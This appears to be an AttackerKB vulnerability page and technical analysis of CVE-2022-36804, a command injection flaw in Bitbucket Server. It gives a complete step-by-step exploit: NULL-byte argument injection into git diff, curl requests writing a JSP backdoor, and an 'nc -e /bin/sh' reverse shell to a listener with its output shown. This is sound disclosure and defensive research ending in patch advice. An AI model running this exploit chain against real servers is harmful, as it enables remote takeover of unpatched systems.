High
CVE-2022-36804
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-36804
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
Very easy patch to reverse and exploit to develop. Public proof of concept exist, as well as a Metasploit module. Very important to patch!
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- atlassian
Products
- bitbucket,
- bitbucket 8.3.0
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
On August 24, 2022, Atlassian posted an advisory for Bitbucket Server and Data Center alerting users to CVE-2022-36804. The advisory reveals a command injection vulnerability in multiple API endpoints, which allows an attacker with access to a public repository or with read permissions to a private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. According to Shodan, there are about 1,400 internet-facing servers, but we can’t tell how many have a public repository.
The original researcher indicated initially planned to release a proof of concept circa the end of September. However, multiple other public exploits are available as of September 20. We also diff
ed the patches and determined that the root cause is fairly easy to find and exploit, and therefore it is likely that attackers were either already exploiting this vulnerability or will begin to do so quickly. Some attackers claimed to be selling an exploit for $200 last week, but it’s equally likely that that was a scam.
Affected versions include, at a minimum:
- Bitbucket Server and Data Center 7.6 prior to 7.6.17
- Bitbucket Server and Data Center 7.17 prior to 7.17.10
- Bitbucket Server and Data Center 7.21 prior to 7.21.4
- Bitbucket Server and Data Center 8.0 prior to 8.0.3
- Bitbucket Server and Data Center 8.1 prior to 8.1.3
- Bitbucket Server and Data Center 8.2 prior to 8.2.2
- Bitbucket Server and Data Center 8.3 prior to 8.3.1
Technical analysis
To analyze this patch, we downloaded a vulnerable and patched version of the application (specifically 8.0.2 and 8.0.3, but any pair are equally likely to work). We decompiled the source using jadx and then used diff -rub
to analyze the changes. Other than version number changes, the core of the patch is basically this code, copied to a few other places, and some functions to support it:
public Builder<T> environment(@Nonnull Map<String, String> map) { - this.environment.putAll((Map) Objects.requireNonNull(map, "environment")); + ((Map) Objects.requireNonNull(map, "environment")).forEach(key, value -> { + requireNonBlankAndNoNullChar(key, "key"); + requireNoNullChars(value); + }); + this.environment.putAll(map); return this; }
Effectively, it filters out NULL bytes (\x00
/ %00
) in command arguments. That tells us that we should be looking for NULL-byte injection on the shell. Typically, adding NULL bytes doesn’t let us run arbitrary commands, but could let us add extra command-line parameters.
To get more information about exactly which processes Bitbucket executes, we browsed around a public Bitbucket repo while running the tool forkstat
. There’s lots of output, most of which uses the git
command line tool; here’s a sample:
ron@bitbucket:/tmp$ sudo forkstat -e exec [sudo] password for ron: Time Event PID Info Duration Process 22:16:50 exec 6758 /usr/bin/git ls-tree -z refs/heads/main: -- test2 22:16:50 exec 6759 /usr/bin/git log --format=commit %H%n%H%x02%P%x02%aN%x02%aE%x02%at%x02%cN%x02%cE%x02%ct%n%B%n%x03END%x04 -2 --no-min-parents --stdin --do-walk --follow --name-status refs/heads/main -- test2 22:16:54 exec 6760 /usr/bin/git for-each-ref --sort=-objecttype --format=%(refname)%02%(objectname)%02%(*objectname) refs/heads/ refs/tags/ 22:16:54 exec 6761 /usr/bin/git ls-tree -z refs/heads/main: -- test2 22:16:55 exec 6762 /usr/bin/git log --format=commit %H%n%H%x02%P%x02%aN%x02%aE%x02%at%x02%cN%x02%cE%x02%ct%n%B%n%x03END%x04 -2 --no-min-parents --stdin --do-walk --follow --name-status refs/heads/main -- test2 22:16:55 exec 6763 /usr/bin/git diff -C --color=never --dst-prefix=dst:// --src-prefix=src:// -U10 a462b2c60a1f5df5a728939e56e625a0546fa9fd cdf5643e7520315f13d7f18ba92b45389095f146 -- test2
Under the theory that we could use NULL bytes to inject extra arguments, we analyzed the various git
commands to determine if the extra arguments can do anything interesting. We found the following argument to git diff
:
--output=<file> Output to a specific file instead of stdout.
So we added %00
followed by an --output
argument, then checked if the file exists:
$ curl 'http://localhost:7990/rest/api/latest/projects/TEST/repos/test/commits/cdf5643e7520315f13d7f18ba92b45389095f146/diff/test2?since=a462b2c60a1f5df5a728939e56e625a0546fa9fd%00--output=/tmp/akbtest.txt' $ cat /tmp/akbtest.txt diff --git src://test2 dst://test2 index e965047..6ee16d0 100644 --- src://test2 +++ dst://test2 @@ -1 +1 @@ -Hello +Hello, everyone!
Sure enough, we could write the output from git diff
to an arbitrary file! There are a few options to add arbitrary text to the file, but the one we ended up using is --line-prefix
, which puts it value before each and every line:
$ curl 'http://localhost:7990/rest/api/latest/projects/TEST/repos/test/commits/cdf5643e7520315f13d7f18ba92b45389095f146/diff/test2?since=a462b2c60a1f5df5a728939e56e625a0546fa9fd%00--output=/tmp/akbtest2.txt%00--line-prefix=TESTTEST' {"fromHash":"a462b2c60a1f5df5a728939e56e625a0546fa9fd\u0000--output=/tmp/akbtest2.txt\u0000--line-prefix=TESTTEST","toHash":"cdf5643e7520315f13d7f18ba92b45389095f146","contextLines":10,"whitespace":"SHOW","diffs":[],"truncated":false} $ cat /tmp/akbtest2.txt TESTTESTdiff --git src://test2 dst://test2 TESTTESTindex e965047..6ee16d0 100644 TESTTEST--- src://test2 TESTTEST+++ dst://test2 TESTTEST@@ -1 +1 @@ TESTTEST-Hello TESTTEST+Hello, everyone!
Since it’s a Java-based application, and we have recent experience using JSP as an attack vector, we wrote a simple JSP backdoor. Here’s a very simple JSP file that’ll start a reverse Netcat shell (note that the server requires netcat-traditional
for this particular vector):
<%Runtime.getRuntime().exec("nc -e /bin/sh 172.16.166.142 1234");if(Math.random() > -1) { return; }%>
The return
is used to ensure the code only runs once – otherwise, we’ll get multiple shells. The Math.random()
part tricks the interpreter into not realizing there is unreachable code.
On our analysis VM, we start a Netcat listener to catch the shell:
$ nc -v -l -p 1234 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234
Next, we run this command, which writes the payload (fully URL-encoded) to the file testakb.jsp
in the webroot (the filename has to start with test
to be picked up by the server for some reason), then trigger it:
$ curl 'http://localhost:7990/rest/api/latest/projects/TEST/repos/test/commits/cdf5643e7520315f13d7f18ba92b45389095f146/diff/test2?since=a462b2c60a1f5df5a728939e56e625a0546fa9fd%00--output=/opt/atlassian/bitbucket/8.0.2/app/testakb.jsp%00--line-prefix=%3c%25%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%31%37%32%2e%31%36%2e%31%36%36%2e%31%34%32%20%31%32%33%34%22%29%3b%69%66%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%20%3e%20%2d%31%29%20%7b%20%72%65%74%75%72%6e%3b%20%7d%25%3e' {"fromHash":"a462b2c60a1f5df5a728939e56e625a0546fa9fd\u0000--output=/opt/atlassian/bitbucket/8.0.2/app/testakb.jsp\u0000--line-prefix=<%Runtime.getRuntime().exec(\"nc -e /bin/sh 172.16.166.142 1234\");if(Math.random() > -1) { return; }%>","toHash":"cdf5643e7520315f13d7f18ba92b45389095f146","contextLines":10,"whitespace":"SHOW","diffs":[],"truncated":false} $ curl 'http://localhost:7990/testakb.jsp'
And confirm that our Netcat listener receives a shell:
$ nc -v -l -p 1234 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 172.16.166.146. Ncat: Connection from 172.16.166.146:37848. whoami atlbitbucket pwd /opt/atlassian/bitbucket/8.0.2/bin
And that’s how you use CVE-2022-36804 to create a simple reverse shell! There were previously signs that others had figured this out, too — given the ease of discovery, it’s likely exploits were already circulating privately prior to the availability of public PoC.
Public Exploit
Updated 2022-09-20
Since writing the above, a public proof of concept was written by SuperX@ Snow Winter Lab and posted to Twitter by @testanull. Their exploit uses the --exec
and --remote
flags on git archive
, which is a much more direct way to run arbitrary code. We used that exploit as the basis of a Metasploit module.
Guidance
We recommend that organizations patch their Bitbucket instances as quickly as possible using Atlassian’s guide, because this vulnerability is very likely to be exploited in the near future. Organizations can also block network access to Bitbucket as a stop-gap solution.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: